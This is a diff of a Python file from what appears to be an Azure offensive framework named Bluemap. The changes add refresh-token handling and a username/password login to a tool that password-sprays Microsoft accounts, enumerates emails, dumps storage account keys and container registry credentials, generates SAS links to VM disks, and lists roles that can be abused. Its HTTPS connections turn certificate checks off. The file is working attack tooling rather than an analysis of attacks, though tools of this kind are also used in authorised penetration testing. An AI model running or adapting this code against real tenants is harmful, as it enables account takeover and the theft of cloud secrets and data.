| skipped 1 lines |
2 | 2 | | import json, sys |
3 | 3 | | import uuid |
4 | 4 | | import os |
| 5 | + | import uuid |
5 | 6 | | import random |
6 | 7 | | import string |
7 | 8 | | import http.client |
| skipped 6 lines |
14 | 15 | | import ssl, re |
15 | 16 | | |
16 | 17 | | Token = None |
| 18 | + | RefreshToken = None |
| 19 | + | AutoGenToken = False |
17 | 20 | | accessTokenGraph = None |
18 | 21 | | accessTokenVault = None |
19 | 22 | | storageAccessToken = None |
| skipped 45 lines |
65 | 68 | | rows.append(row) |
66 | 69 | | rows.append(end) |
67 | 70 | | return "\n".join([title,header, sep] + rows) |
| 71 | + | |
68 | 72 | | def sendGETRequest(url, Token): |
69 | 73 | | object = {} |
70 | 74 | | o = urlparse(url) |
| skipped 66 lines |
137 | 141 | | return object |
138 | 142 | | |
139 | 143 | | |
140 | | - | def sendPOSTRequestSprayMSOL(url, user, pwd): |
| 144 | + | def sendPOSTRequestSprayMSOL(url, user, pwd, resourceMgmt): |
141 | 145 | | object = {} |
142 | 146 | | o = urlparse(url) |
143 | 147 | | ctx = ssl.create_default_context() |
| skipped 5 lines |
149 | 153 | | 'Content-Type': 'application/x-www-form-urlencoded' |
150 | 154 | | } |
151 | 155 | | data = { |
152 | | - | 'resource': 'https://graph.windows.net', |
153 | 156 | | 'client_id': '1b730954-1685-4b74-9bfd-dac224a7b894', |
154 | 157 | | 'client_info': '1', |
155 | 158 | | 'grant_type': 'password', |
| skipped 1 lines |
157 | 160 | | 'password': pwd, |
158 | 161 | | 'scope': 'openid' |
159 | 162 | | } |
| 163 | + | if resourceMgmt: |
| 164 | + | data['resource'] = 'https://management.azure.com/' |
| 165 | + | else: |
| 166 | + | data['resource'] = 'https://graph.windows.net' |
160 | 167 | | qs = urllib.parse.urlencode(data) |
161 | 168 | | conn.request("POST", str(o.path) + "/?" + str(o.query), qs, headers) |
162 | 169 | | res = conn.getresponse() |
| skipped 6 lines |
169 | 176 | | pass |
170 | 177 | | return object |
171 | 178 | | |
| 179 | + | def sendPOSTRequestRefreshToken(tenantId, token): |
| 180 | + | object = {} |
| 181 | + | o = urlparse("https://login.microsoftonline.com/"+str(tenantId)+"/oauth2/v2.0/token") |
| 182 | + | ctx = ssl.create_default_context() |
| 183 | + | ctx.check_hostname = False |
| 184 | + | ctx.verify_mode = ssl.CERT_NONE |
| 185 | + | conn = http.client.HTTPSConnection(o.netloc) |
| 186 | + | headers = { |
| 187 | + | 'Content-Type': 'application/x-www-form-urlencoded' |
| 188 | + | } |
| 189 | + | data = { |
| 190 | + | 'grant_type': 'refresh_token', |
| 191 | + | 'refresh_token': token, |
| 192 | + | } |
| 193 | + | qs = urllib.parse.urlencode(data) |
| 194 | + | conn.request("POST", str(o.path), qs, headers) |
| 195 | + | res = conn.getresponse() |
| 196 | + | object["headers"] = dict(res.getheaders()) |
| 197 | + | object["status_code"] = int(res.status) |
| 198 | + | object["response"] = str(res.read().decode("utf-8")) |
| 199 | + | try: |
| 200 | + | object["json"] = json.loads(object["response"]) |
| 201 | + | except json.JSONDecodeError: |
| 202 | + | pass |
| 203 | + | return object |
| 204 | + | |
172 | 205 | | def sendPUTRequest(url, body, Token): |
173 | 206 | | object = {} |
174 | 207 | | o = urlparse(url) |
| skipped 66 lines |
241 | 274 | | Token = token |
242 | 275 | | |
243 | 276 | | |
| 277 | + | def initRefreshToken(TokenRF): |
| 278 | + | global RefreshToken |
| 279 | + | RefreshToken = TokenRF |
| 280 | + | |
244 | 281 | | def initToken(token, resetscopes): |
245 | 282 | | global Token, hasMgmtAccess, hasGraphAccess, hasVaultEnabled,TargetSubscription, TargetTenantId |
246 | 283 | | if resetscopes: |
| skipped 21 lines |
268 | 305 | | global Token, hasMgmtAccess |
269 | 306 | | hasMgmtAccess = True |
270 | 307 | | Token = token |
271 | | - | |
272 | 308 | | |
273 | 309 | | def currentScope(): |
274 | 310 | | global hasMgmtAccess, hasGraphAccess, hasVaultEnabled |
| skipped 24 lines |
299 | 335 | | else: |
300 | 336 | | print(strigify[1] + "\\" + strigify[0]) |
301 | 337 | | |
302 | | - | def RD_ListAllVMs(): |
303 | | - | global Token |
304 | | - | result = [] |
305 | | - | rs = sendGETRequest("https://management.azure.com/subscriptions/?api-version=2017-05-10", Token) |
306 | | - | for sub in rs['json']['value']: |
307 | | - | for res in getResGroup(sub['subscriptionId'])['value']: |
308 | | - | rsVM = sendGETRequest("https://management.azure.com/subscriptions/"+sub['subscriptionId']+"/resourceGroups/"+res['name']+"/providers/Microsoft.Compute/virtualMachines?api-version=2022-08-01", Token) |
309 | | - | for item in rsVM['json']['value']: |
310 | | - | if 'identity' not in item: |
311 | | - | item['identity'] = "N/A" |
312 | | - | |
313 | | - | item['subscriptionId'] = sub['subscriptionId'] |
314 | | - | item['resourceGroup'] = res['name'] |
315 | | - | result.append(item) |
316 | | - | return result |
317 | | - | |
318 | 338 | | def ENUM_MSOLSpray(username,password): |
319 | | - | r = sendPOSTRequestSprayMSOL("https://login.microsoft.com/common/oauth2/token", username, password) |
| 339 | + | r = sendPOSTRequestSprayMSOL("https://login.microsoft.com/common/oauth2/token", username, password, False) |
320 | 340 | | if r["status_code"] == 200: |
321 | 341 | | return True |
322 | 342 | | else: |
| skipped 17 lines |
340 | 360 | | else: |
341 | 361 | | return "Got unknown error" |
342 | 362 | | |
| 363 | + | |
| 364 | + | |
| 365 | + | def ReloadToken(): |
| 366 | + | global RefreshToken |
| 367 | + | r = sendPOSTRequestRefreshToken(parseTenantId(), RefreshToken ) |
| 368 | + | response = r["json"] |
| 369 | + | if 'access_token' in response: |
| 370 | + | initToken(response['access_token'], True) |
| 371 | + | initRefreshToken(response['refresh_token']) |
| 372 | + | |
| 373 | + | ''' |
| 374 | + | The method used to check token state and refresh if needed |
| 375 | + | TBD: Implement same logic for other methods as well |
| 376 | + | ''' |
| 377 | + | def CheckSubscriptionReqState(): |
| 378 | + | global Token |
| 379 | + | r = sendGETRequest("https://management.azure.com/subscriptions/?api-version=2017-05-10", Token) |
| 380 | + | if len(r['json']) == 0: |
| 381 | + | return r |
| 382 | + | else: |
| 383 | + | ReloadToken() |
| 384 | + | r = sendGETRequest("https://management.azure.com/subscriptions/?api-version=2017-05-10", Token) |
| 385 | + | return r |
343 | 386 | | |
344 | 387 | | ''' Based on AADInternals Research (https://aadinternals.com/post/just-looking/) ''' |
345 | 388 | | |
| skipped 104 lines |
450 | 493 | | def RD_ListExposedWebApps(): |
451 | 494 | | global Token |
452 | 495 | | result = [] |
453 | | - | r = sendGETRequest("https://management.azure.com/subscriptions/?api-version=2017-05-10", Token) |
| 496 | + | r = CheckSubscriptionReqState() |
454 | 497 | | for sub in r['json']['value']: |
455 | 498 | | for res in getResGroup(sub['subscriptionId'])['value']: |
456 | 499 | | rsVM = sendGETRequest("https://management.azure.com/subscriptions/"+sub['subscriptionId']+"/resourceGroups/"+res['name']+"/providers/Microsoft.Web/sites?api-version=2022-03-01", Token) |
457 | | - | for item in rsVM['json']['value']: |
458 | | - | if 'identity' not in item: |
459 | | - | item['identity'] = "N/A" |
| 500 | + | if len(rsVM['json']) == 0: |
| 501 | + | return result |
| 502 | + | else: |
| 503 | + | for item in rsVM['json']['value']: |
| 504 | + | if 'identity' not in item: |
| 505 | + | item['identity'] = "N/A" |
460 | 506 | | |
461 | | - | item['subscriptionId'] = sub['subscriptionId'] |
462 | | - | item['resourceGroup'] = res['name'] |
463 | | - | result.append(item) |
464 | | - | return result |
| 507 | + | item['subscriptionId'] = sub['subscriptionId'] |
| 508 | + | item['resourceGroup'] = res['name'] |
| 509 | + | result.append(item) |
| 510 | + | return result |
465 | 511 | | |
466 | 512 | | def RD_ListAllDeployments(): |
467 | 513 | | global Token |
468 | 514 | | result = [] |
469 | | - | r = sendGETRequest("https://management.azure.com/subscriptions/?api-version=2017-05-10", Token) |
| 515 | + | r = CheckSubscriptionReqState() |
470 | 516 | | for sub in r['json']['value']: |
471 | 517 | | rsVM = sendGETRequest("https://management.azure.com/subscriptions/"+sub["subscriptionId"]+"/providers/Microsoft.Web/sites?api-version=2022-03-01", Token) |
472 | | - | for item in rsVM['json']['value']: |
473 | | - | result.append(item) |
474 | | - | return result |
| 518 | + | if len(rsVM['json']) == 0: |
| 519 | + | return result |
| 520 | + | else: |
| 521 | + | for item in rsVM['json']['value']: |
| 522 | + | result.append(item) |
| 523 | + | return result |
475 | 524 | | |
476 | 525 | | def RD_ListAllACRs(): |
477 | 526 | | global Token |
478 | | - | r = sendGETRequest("https://management.azure.com/subscriptions/?api-version=2017-05-10", Token) |
479 | | - | for sub in r['json']['value']: |
480 | | - | rsub = sendGETRequest("https://management.azure.com/subscriptions/"+sub['subscriptionId']+"/providers/Microsoft.ContainerRegistry/registries?api-version=2019-05-01", Token) |
481 | | - | return rsub['json'] |
| 527 | + | r = CheckSubscriptionReqState() |
| 528 | + | if len(r['json']) == 0: |
| 529 | + | return False |
| 530 | + | else: |
| 531 | + | for sub in r['json']['value']: |
| 532 | + | rsub = sendGETRequest("https://management.azure.com/subscriptions/"+sub['subscriptionId']+"/providers/Microsoft.ContainerRegistry/registries?api-version=2019-05-01", Token) |
| 533 | + | return rsub['json'] |
482 | 534 | | return False |
483 | 535 | | |
484 | 536 | | def HLP_GetACRCreds(acrId): |
| skipped 81 lines |
566 | 618 | | def RD_ListAllVMs(): |
567 | 619 | | global Token |
568 | 620 | | result = [] |
569 | | - | r = sendGETRequest("https://management.azure.com/subscriptions/?api-version=2017-05-10", Token) |
| 621 | + | r = CheckSubscriptionReqState() |
570 | 622 | | for sub in r['json']['value']: |
571 | 623 | | for res in getResGroup(sub['subscriptionId'])['value']: |
572 | 624 | | rsVM = sendGETRequest("https://management.azure.com/subscriptions/"+sub['subscriptionId']+"/resourceGroups/"+res['name']+"/providers/Microsoft.Compute/virtualMachines?api-version=2022-08-01", Token) |
573 | | - | for item in rsVM['json']['value']: |
574 | | - | if 'identity' not in item: |
575 | | - | item['identity'] = "N/A" |
| 625 | + | if len(rsVM['json']) == 0: |
| 626 | + | return result |
| 627 | + | else: |
| 628 | + | for item in rsVM['json']['value']: |
| 629 | + | if 'identity' not in item: |
| 630 | + | item['identity'] = "N/A" |
576 | 631 | | |
577 | | - | item['subscriptionId'] = sub['subscriptionId'] |
578 | | - | item['resourceGroup'] = res['name'] |
579 | | - | result.append(item) |
580 | | - | return result |
| 632 | + | item['subscriptionId'] = sub['subscriptionId'] |
| 633 | + | item['resourceGroup'] = res['name'] |
| 634 | + | result.append(item) |
| 635 | + | return result |
581 | 636 | | |
582 | 637 | | def RD_ListAllVaults(): |
583 | 638 | | global Token |
584 | 639 | | result = [] |
585 | | - | rs = sendGETRequest("https://management.azure.com/subscriptions/?api-version=2017-05-10", Token) |
| 640 | + | rs = CheckSubscriptionReqState() |
586 | 641 | | for sub in rs['json']['value']: |
587 | 642 | | for res in getResGroup(sub['subscriptionId'])['value']: |
588 | 643 | | rsVM = sendGETRequest("https://management.azure.com/subscriptions/"+sub['subscriptionId']+"/resourceGroups/"+res['name']+"/providers/Microsoft.KeyVault/vaults?api-version=2021-10-01", Token) |
| skipped 2 lines |
591 | 646 | | item['resourceGroup'] = res['name'] |
592 | 647 | | result.append(item) |
593 | 648 | | return result |
| 649 | + | |
594 | 650 | | def RD_ListAllStorageAccountsKeys(AccId): |
595 | 651 | | global Token |
596 | 652 | | r = sendPOSTRequest("https://management.azure.com/"+AccId+"/listKeys?api-version=2022-05-01", None, Token) |
| skipped 2 lines |
599 | 655 | | def RD_ListAllStorageAccounts(): |
600 | 656 | | global Token |
601 | 657 | | result = [] |
602 | | - | r = sendGETRequest("https://management.azure.com/subscriptions/?api-version=2017-05-10", Token) |
| 658 | + | r = CheckSubscriptionReqState() |
603 | 659 | | for sub in r['json']['value']: |
604 | 660 | | for res in getResGroup(sub['subscriptionId'])['value']: |
605 | 661 | | rsVM = sendGETRequest("https://management.azure.com/subscriptions/"+sub['subscriptionId']+"/resourceGroups/"+res['name']+"/providers/Microsoft.Storage/storageAccounts?api-version=2021-09-01", Token) |
606 | | - | for item in rsVM['json']['value']: |
| 662 | + | if len(rsVM['json']) == 0: |
| 663 | + | return result |
| 664 | + | else: |
| 665 | + | for item in rsVM['json']['value']: |
607 | 666 | | |
608 | | - | item['subscriptionId'] = sub['subscriptionId'] |
609 | | - | item['resourceGroup'] = res['name'] |
| 667 | + | item['subscriptionId'] = sub['subscriptionId'] |
| 668 | + | item['resourceGroup'] = res['name'] |
610 | 669 | | |
611 | | - | if 'allowSharedKeyAccess' not in item['properties']: |
612 | | - | item['allowSharedKeyAccess'] = "N/A" |
613 | | - | else: |
614 | | - | item['allowSharedKeyAccess'] = item['properties']['allowSharedKeyAccess'] |
| 670 | + | if 'allowSharedKeyAccess' not in item['properties']: |
| 671 | + | item['allowSharedKeyAccess'] = "N/A" |
| 672 | + | else: |
| 673 | + | item['allowSharedKeyAccess'] = item['properties']['allowSharedKeyAccess'] |
| 674 | + | |
| 675 | + | if 'customDomain' not in item['properties']: |
| 676 | + | item['customDomain'] = "N/A" |
| 677 | + | else: |
| 678 | + | item['customDomain'] = item['properties']['customDomain'] |
615 | 679 | | |
616 | | - | if 'customDomain' not in item['properties']: |
617 | | - | item['customDomain'] = "N/A" |
618 | | - | else: |
619 | | - | item['customDomain'] = item['properties']['customDomain'] |
| 680 | + | result.append(item) |
| 681 | + | return result |
620 | 682 | | |
621 | | - | result.append(item) |
622 | | - | return result |
623 | 683 | | def CON_GenerateVMDiskSAS(subscriptionId, resourceGroupName, vmDiskName): |
624 | 684 | | global Token |
625 | 685 | | req = { |
| skipped 12 lines |
638 | 698 | | rs = sendPOSTRequest("https://management.azure.com/"+SiteId+"/publishxml?api-version=2022-03-01", None, Token) |
639 | 699 | | rsConf = sendGETRequest("https://management.azure.com/"+SiteId+"/config/web?api-version=2022-03-01", Token) |
640 | 700 | | if rs["status_code"] == 200: |
641 | | - | print(rs["response"]) |
642 | 701 | | DOMTree = xml.dom.minidom.parseString(rs["response"]) |
643 | 702 | | xmlContent = DOMTree.documentElement |
644 | 703 | | profiles = xmlContent.getElementsByTagName('publishProfile') |
| skipped 88 lines |
733 | 792 | | def RD_ListAutomationAccounts(): |
734 | 793 | | global Token |
735 | 794 | | result = [] |
736 | | - | r = sendGETRequest("https://management.azure.com/subscriptions/?api-version=2017-05-10", Token) |
737 | | - | for sub in r['json']['value']: |
738 | | - | rsub = sendGETRequest("https://management.azure.com/subscriptions/"+sub['subscriptionId']+"/providers/Microsoft.Automation/automationAccounts?api-version=2021-06-22", Token) |
739 | | - | for item in rsub['json']['value']: |
740 | | - | item['subscriptionId'] = sub['subscriptionId'] |
741 | | - | result.append(item) |
742 | | - | return result |
| 795 | + | r = CheckSubscriptionReqState() |
| 796 | + | if len(r['json']) == 0: |
| 797 | + | return result |
| 798 | + | else: |
| 799 | + | for sub in r['json']['value']: |
| 800 | + | rsub = sendGETRequest("https://management.azure.com/subscriptions/"+sub['subscriptionId']+"/providers/Microsoft.Automation/automationAccounts?api-version=2021-06-22", Token) |
| 801 | + | for item in rsub['json']['value']: |
| 802 | + | item['subscriptionId'] = sub['subscriptionId'] |
| 803 | + | result.append(item) |
| 804 | + | return result |
743 | 805 | | |
744 | 806 | | def RD_ListRunBooksByAutomationAccounts(): |
745 | 807 | | global Token |
746 | 808 | | result = [] |
747 | | - | r = sendGETRequest("https://management.azure.com/subscriptions/?api-version=2017-05-10", Token) |
| 809 | + | r = CheckSubscriptionReqState() |
748 | 810 | | for sub in r['json']['value']: |
749 | 811 | | pathToAutomationAccount = sendGETRequest("https://management.azure.com/subscriptions/"+sub['subscriptionId']+"/providers/Microsoft.Automation/automationAccounts?api-version=2021-06-22", Token) |
750 | | - | for automationAccount in pathToAutomationAccount['json']['value']: |
751 | | - | GetRunBook = sendGETRequest("https://management.azure.com/" + str(automationAccount['id']) + "/runbooks?api-version=2019-06-01", Token) |
752 | | - | for item in GetRunBook['json']['value']: |
753 | | - | item['subscriptionId'] = str(sub['subscriptionId']) |
754 | | - | item['automationAccount'] = str(automationAccount['name']) |
755 | | - | result.append(item) |
756 | | - | return result |
| 812 | + | if len(pathToAutomationAccount['json']) == 0: |
| 813 | + | return result |
| 814 | + | else: |
| 815 | + | for automationAccount in pathToAutomationAccount['json']['value']: |
| 816 | + | GetRunBook = sendGETRequest("https://management.azure.com/" + str(automationAccount['id']) + "/runbooks?api-version=2019-06-01", Token) |
| 817 | + | for item in GetRunBook['json']['value']: |
| 818 | + | item['subscriptionId'] = str(sub['subscriptionId']) |
| 819 | + | item['automationAccount'] = str(automationAccount['name']) |
| 820 | + | result.append(item) |
| 821 | + | return result |
757 | 822 | | |
758 | 823 | | def RD_ListARMTemplates(): |
759 | 824 | | global Token |
760 | 825 | | finalResult = [] |
761 | | - | rs = sendGETRequest("https://management.azure.com/subscriptions/?api-version=2017-05-10", Token) |
| 826 | + | rs = CheckSubscriptionReqState() |
762 | 827 | | for sub in rs['json']['value']: |
763 | 828 | | for res in getResGroup(sub['subscriptionId'])['value']: |
764 | 829 | | for template in getArmTempPerResGroup(sub['subscriptionId'], res['name'])['value']: |
| skipped 9 lines |
774 | 839 | | continue |
775 | 840 | | finalResult.append(currentdata) |
776 | 841 | | return finalResult |
| 842 | + | |
777 | 843 | | def CHK_AppRegOwner(appId): |
778 | 844 | | global accessTokenGraph |
779 | 845 | | r = sendGETRequest("https://graph.microsoft.com/v1.0/applications?$filter=" + urllib.parse.quote("appId eq '" + appId + "'"), accessTokenGraph) |
| skipped 48 lines |
828 | 894 | | vaultToken = json.loads(vault.stdout) |
829 | 895 | | accessTokenVault = vaultToken['accessToken'] |
830 | 896 | | hasVaultEnabled = True |
831 | | - | hasGraphAccess = True |
832 | | - | hasMgmtAccess = True |
833 | | - | print("Captured token done. All set!") |
834 | | - | jres = json.loads(add.stdout) |
835 | | - | jresgraph = json.loads(graph.stdout) |
836 | | - | accessToken = jres['accessToken'] |
837 | | - | accessTokenGraph = jresgraph['accessToken'] |
| 897 | + | hasGraphAccess = True |
| 898 | + | hasMgmtAccess = True |
| 899 | + | print("Captured token done. All set!") |
| 900 | + | jres = json.loads(add.stdout) |
| 901 | + | jresgraph = json.loads(graph.stdout) |
| 902 | + | accessToken = jres['accessToken'] |
| 903 | + | accessTokenGraph = jresgraph['accessToken'] |
838 | 904 | | return accessToken |
839 | 905 | | except KeyError: |
840 | 906 | | return False |
| skipped 154 lines |
995 | 1061 | | allPermRolesAssignsRecordsCount += 1 |
996 | 1062 | | print(make_table(field_names2, rows2)) |
997 | 1063 | | print("Completed.") |
| 1064 | + | |
998 | 1065 | | def AutoRecon(): |
999 | 1066 | | print("\nChecking for current SubscriptionId: " + str(TargetSubscription)) |
1000 | 1067 | | print("\n===== Checking Available Resources =====\n") |
| skipped 18 lines |
1019 | 1086 | | |
1020 | 1087 | | print("Logged as: ") |
1021 | 1088 | | currentProfile() |
| 1089 | + | print("User Id: " + parseUPNObjectId()) |
1022 | 1090 | | currentScope() |
| 1091 | + | |
1023 | 1092 | | |
1024 | 1093 | | print("\n===== Checking all attached subscriptions =====\n") |
1025 | 1094 | | |
| skipped 15 lines |
1041 | 1110 | | |
1042 | 1111 | | print("\n===== Checking Current Subscription Permissions =====\n") |
1043 | 1112 | | |
1044 | | - | print("Checking all RoleAssignments under SubscriptionId = " + str(TargetSubscription) + "...") |
1045 | | - | allRolesAssigns = GetAllRoleAssignmentsUnderSubscription(str(TargetSubscription)) |
1046 | | - | field_names = ["#", "RoleName", "Scope", "Can Abused?", "Details"] |
| 1113 | + | print("Checking all RolePermissions & RoleAssignments under SubscriptionId = " + str(TargetSubscription) + "...\n") |
| 1114 | + | |
| 1115 | + | allPermRolesAssigns = GetAllRoleAssignmentsUnderSubscription(str(TargetSubscription)) |
| 1116 | + | token = urllib.parse.quote("assignedTo('"+str(parseUPNObjectId())+"')") |
| 1117 | + | allRolesAssigns = GetAllRoleAssignmentsForSubscriptionFilterd(str(TargetSubscription),token) |
| 1118 | + | field_names = ["#", "RoleName", "Can Abused?", "Details"] |
1047 | 1119 | | rows = [] |
1048 | 1120 | | allRolesAssignsRecordsCount = 0 |
1049 | 1121 | | for role in range(0, len(allRolesAssigns)): |
| skipped 6 lines |
1056 | 1128 | | rows.append( |
1057 | 1129 | | {"#": allRolesAssignsRecordsCount, |
1058 | 1130 | | "RoleName": currentRoleName, |
1059 | | - | "Scope": currentRoleScope, |
1060 | 1131 | | "Can Abused?": "Yes", |
1061 | 1132 | | "Details": canRoleBeAbused(currentRoleName).split("|")[1]} |
1062 | 1133 | | ) |
| skipped 1 lines |
1064 | 1135 | | rows.append( |
1065 | 1136 | | {"#": allRolesAssignsRecordsCount, |
1066 | 1137 | | "RoleName": currentRoleName, |
1067 | | - | "Scope": currentRoleScope, |
1068 | 1138 | | "Can Abused?": "No", |
1069 | 1139 | | "Details": "N/A"} |
1070 | 1140 | | ) |
1071 | 1141 | | allRolesAssignsRecordsCount += 1 |
1072 | | - | print(make_table(field_names, rows)) |
1073 | | - | print("\nChecking all RolePermissions under SubscriptionId = " + str(TargetSubscription) + "...") |
1074 | | - | allPermRolesAssigns = GetAllRoleAssignmentsUnderSubscription(str(TargetSubscription)) |
1075 | | - | field_names2 = ["#", "RoleName", "Permission Assigned", "Can Abused?", "Details"] |
1076 | | - | rows2 = [] |
1077 | | - | allPermRolesAssignsRecordsCount = 0 |
| 1142 | + | |
1078 | 1143 | | for rolePermission in range(0, len(allPermRolesAssigns)): |
1079 | 1144 | | resultAllRolesAssigns = allPermRolesAssigns |
1080 | 1145 | | currentRolePermissionInformation = GetAllRoleDefinitionsUnderId( |
1081 | 1146 | | resultAllRolesAssigns['value'][rolePermission]['properties']['roleDefinitionId']) |
1082 | | - | currentRolePermissionName = currentRolePermissionInformation['properties']['roleName'] |
1083 | | - | currentRolePermissions = currentRolePermissionInformation['properties']['permissions'][0]['actions'] |
1084 | | - | for permission in currentRolePermissions: |
1085 | | - | if canPermissionBeAbused(permission) is not False: |
1086 | | - | rows2.append( |
1087 | | - | {"#": allPermRolesAssignsRecordsCount, "RoleName": currentRolePermissionName, |
1088 | | - | "Permission Assigned": permission, "Can Abused?": "Yes", |
1089 | | - | "Details": canPermissionBeAbused(permission).split("|")[1]} |
1090 | | - | ) |
1091 | | - | else: |
1092 | | - | rows2.append( |
1093 | | - | {"#": allPermRolesAssignsRecordsCount, "RoleName": currentRolePermissionName, |
1094 | | - | "Permission Assigned": permission, "Can Abused?": "No", |
1095 | | - | "Details": "N/A"} |
1096 | | - | ) |
1097 | | - | allPermRolesAssignsRecordsCount += 1 |
1098 | | - | print(make_table(field_names2, rows2)) |
| 1147 | + | if len(currentRolePermissionInformation) == 0: |
| 1148 | + | continue |
| 1149 | + | else: |
| 1150 | + | currentRolePermissionName = currentRolePermissionInformation['properties']['roleName'] |
| 1151 | + | currentRolePermissions = currentRolePermissionInformation['properties']['permissions'][0]['actions'] |
| 1152 | + | for permission in currentRolePermissions: |
| 1153 | + | if canPermissionBeAbused(permission) is not False: |
| 1154 | + | rows.append( |
| 1155 | + | {"#": allRolesAssignsRecordsCount, "RoleName": currentRolePermissionName, |
| 1156 | + | "Permission Assigned": permission, "Can Abused?": "Yes", |
| 1157 | + | "Details": canPermissionBeAbused(permission).split("|")[1]} |
| 1158 | + | ) |
| 1159 | + | else: |
| 1160 | + | rows.append( |
| 1161 | + | {"#": allRolesAssignsRecordsCount, "RoleName": currentRolePermissionName, |
| 1162 | + | "Permission Assigned": permission, "Can Abused?": "No", |
| 1163 | + | "Details": "N/A"} |
| 1164 | + | ) |
| 1165 | + | allRolesAssignsRecordsCount += 1 |
| 1166 | + | |
| 1167 | + | print(make_table(field_names, rows)) |
1099 | 1168 | | |
1100 | 1169 | | |
1101 | 1170 | | def GetAllRoleAssignmentsUnderSubscription(subscriptionId): |
1102 | 1171 | | global Token |
1103 | | - | r = sendGETRequest("https://management.azure.com/subscriptions/" + subscriptionId + "/providers/Microsoft.Authorization/roleAssignments?api-version=2015-07-01", Token) |
| 1172 | + | r = sendGETRequest("https://management.azure.com/subscriptions/" + subscriptionId + "/providers/Microsoft.Authorization/roleAssignments?api-version=2022-04-01", Token) |
1104 | 1173 | | return r['json'] |
1105 | 1174 | | |
1106 | 1175 | | def GetAllRoleAssignmentsForSubscriptionFilterd(subscriptionId, filter): |
| skipped 43 lines |
1150 | 1219 | | |
1151 | 1220 | | def ListSubscriptionsForToken(): |
1152 | 1221 | | global Token |
1153 | | - | r = sendGETRequest("https://management.azure.com/subscriptions/?api-version=2017-05-10", Token) |
| 1222 | + | r = CheckSubscriptionReqState() |
1154 | 1223 | | return r['json'] |
1155 | 1224 | | |
1156 | 1225 | | |
| skipped 20 lines |
1177 | 1246 | | print(banner) |
1178 | 1247 | | ''' |
1179 | 1248 | | supportedCommands = [ |
| 1249 | + | "version", |
1180 | 1250 | | "whoami", |
1181 | 1251 | | "scopes", |
1182 | 1252 | | "get_subs", |
| skipped 17 lines |
1200 | 1270 | | "back" |
1201 | 1271 | | ] |
1202 | 1272 | | exploits = [ |
| 1273 | + | "Token/AuthToken", |
1203 | 1274 | | "Token/GenToken", |
1204 | 1275 | | "Token/SetToken", |
| 1276 | + | "Token/RefreshToken", |
1205 | 1277 | | "External/OSINT", |
1206 | 1278 | | "External/EmailEnum", |
1207 | 1279 | | "External/PasswordSpray", |
| skipped 37 lines |
1245 | 1317 | | else: |
1246 | 1318 | | if mode == "run" and ExploitChoosen is None: |
1247 | 1319 | | print("Use run command only within an exploit.") |
| 1320 | + | elif mode == "version": |
| 1321 | + | print("Bluemap 1.0.0-Beta") |
1248 | 1322 | | elif mode == "whoami": |
1249 | 1323 | | currentProfile() |
1250 | 1324 | | elif mode == "scopes": |
| skipped 112 lines |
1363 | 1437 | | rows = [] |
1364 | 1438 | | allRolesAssignsRecordsCount = 0 |
1365 | 1439 | | for role in range(0, len(allRolesAssigns)): |
1366 | | - | resultAllRolesAssigns = allRolesAssigns |
1367 | | - | currentRoleInformation = GetAllRoleDefinitionsUnderId(resultAllRolesAssigns['value'][role]['properties']['roleDefinitionId']) |
1368 | | - | currentRoleScope = resultAllRolesAssigns['value'][role]['properties']['scope'] |
| 1440 | + | currentRoleInformation = GetAllRoleDefinitionsUnderId(allRolesAssigns['value'][role]['properties']['roleDefinitionId']) |
| 1441 | + | currentRoleScope = allRolesAssigns['value'][role]['properties']['scope'] |
1369 | 1442 | | currentRoleName = currentRoleInformation['properties']['roleName'] |
1370 | 1443 | | if canRoleBeAbused(currentRoleName) is not False: |
1371 | 1444 | | rows.append( |
| skipped 18 lines |
1390 | 1463 | | print("Use set_target to set a subscription to work on.") |
1391 | 1464 | | else: |
1392 | 1465 | | print("Checking all RolePermissions under SubscriptionId = " + str(TargetSubscription) + "...") |
1393 | | - | allPermRolesAssigns = GetAllRoleAssignmentsUnderSubscription(str(TargetSubscription)) |
| 1466 | + | token = urllib.parse.quote("assignedTo('"+str(parseUPNObjectId())+"')") |
| 1467 | + | allPermRolesAssigns = GetAllRoleAssignmentsForSubscriptionFilterd(TargetSubscription, token) |
1394 | 1468 | | field_names = ["#", "RoleName", "Permission Assigned", "Can Abused?", "Details"] |
1395 | 1469 | | rows = [] |
1396 | 1470 | | allPermRolesAssignsRecordsCount = 0 |
| skipped 77 lines |
1474 | 1548 | | setToken("") |
1475 | 1549 | | elif "Token/GenToken" in ExploitChoosen and mode == "run": |
1476 | 1550 | | print("Trying getting token automatically for you...") |
| 1551 | + | AutoGenToken = True |
1477 | 1552 | | token = tryGetToken() |
1478 | 1553 | | if token: |
1479 | 1554 | | initToken(token, False) |
| skipped 2 lines |
1482 | 1557 | | token = input("Enter Token:") |
1483 | 1558 | | initToken(token, True) |
1484 | 1559 | | print("All set.") |
| 1560 | + | elif "Token/RefreshToken" in ExploitChoosen and mode == "run": |
| 1561 | + | ''' For Token/GenToken method ''' |
| 1562 | + | if AutoGenToken == True: |
| 1563 | + | token = tryGetToken() |
| 1564 | + | if token: |
| 1565 | + | initToken(token, False) |
| 1566 | + | print("Token Refresh. Done.") |
| 1567 | + | else: |
| 1568 | + | ''' For any other manual method (Token/SetToken or Token/AuthToken)''' |
| 1569 | + | ReloadToken() |
| 1570 | + | print("Token Refresh. Done.") |
1485 | 1571 | | elif "Reader/ExposedAppServiceApps" in ExploitChoosen and mode == "run": |
1486 | 1572 | | print("Trying to enumerate all external-facing Azure Service Apps..") |
1487 | 1573 | | if len(RD_ListExposedWebApps()) < 1: |
| skipped 216 lines |
1704 | 1790 | | print("Found " + str(subRecordCount) + " total valid domains:") |
1705 | 1791 | | print(make_table(field_names, rows)) |
1706 | 1792 | | print("Operation Completed.") |
| 1793 | + | elif "Token/AuthToken" in ExploitChoosen and mode == "run": |
| 1794 | + | user = input("Enter Username: ") |
| 1795 | + | pwd = input("Enter Password: ") |
| 1796 | + | r = sendPOSTRequestSprayMSOL("https://login.microsoft.com/common/oauth2/token", user, pwd, True) |
| 1797 | + | response = r["json"] |
| 1798 | + | if 'access_token' in response: |
| 1799 | + | initToken(response['access_token'], True) |
| 1800 | + | initRefreshToken(response['refresh_token']) |
| 1801 | + | print("Logged In!") |
| 1802 | + | else: |
| 1803 | + | print("Invalid username / password") |
1707 | 1804 | | elif "External/EmailEnum" in ExploitChoosen and mode == "run": |
1708 | 1805 | | DestPath = input("Please enter the path for emails [i.e. C:\\emails.txt]: ") |
1709 | 1806 | | if DestPath == "": |
| skipped 16 lines |
1726 | 1823 | | elif int(technique) == 2: |
1727 | 1824 | | for target in open(os.path.normpath(DestPath), 'r').readlines(): |
1728 | 1825 | | ' based on MSOLSpray method by @dafthack ' |
